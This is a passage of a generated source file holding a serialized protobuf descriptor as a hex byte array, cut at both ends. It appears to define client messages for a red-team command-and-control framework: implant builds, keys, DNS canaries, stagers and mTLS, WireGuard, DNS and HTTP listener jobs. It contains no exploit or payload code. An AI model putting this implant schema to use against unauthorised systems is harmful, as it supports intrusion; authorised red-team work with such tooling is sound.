0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x39, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x67, + 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x27, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, + 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x14, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x22, 0xb2, 0x05, 0x0a, + 0x0c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x10, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x4d, 0x44, 0x35, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x53, 0x48, 0x41, 0x31, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, + 0x36, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x12, + 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, + 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, + 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, + 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, + 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, + 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, + 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, + 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, + 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, + 0x30, 0x0a, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x50, 0x65, + 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, + 0x74, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, + 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, + 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, + 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, + 0x65, 0x72, 0x74, 0x18, 0x11, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, + 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, + 0x74, 0x18, 0x12, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x13, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x53, 0x74, 0x61, 0x67, + 0x65, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, + 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, + 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, + 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, + 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, + 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, + 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, + 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, + 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, + 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, + 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, + 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, + 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x22, 0xd7, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, + 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, + 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, + 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, + 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, + 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, + 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, + 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, + 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, + 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, + 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x65, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, + 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, + 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, + 0x27, 0x0a, 0x0d, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, + 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0d, + 0x52, 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x73, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, + 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xd1, 0x03, + 0x0a, 0x0b, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x35, 0x0a, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x2f, + 0x0a, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x12, + 0x32, 0x0a, 0x07, 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x07, 0x44, 0x4e, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x12, 0x35, 0x0a, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x52, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x3e, 0x0a, 0x09, 0x4d, 0x75, + 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, + 0x61, 0x79, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, + 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x35, 0x0a, 0x07, 0x54, 0x43, + 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x07, 0x54, 0x43, 0x50, 0x43, 0x6f, 0x6e, + 0x66, 0x12, 0x3e, 0x0a, 0x0b, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x52, 0x0b, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x43, 0x6f, 0x6e, + 0x66, 0x22, 0x5e, 0x0a, 0x16, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, 0x65, 0x72, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, + 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, + 0x6f, 0x72, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x57, 0x69, 0x72, 0x65, 0x47, 0x75, 0x61, 0x72, 0x64, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x57, 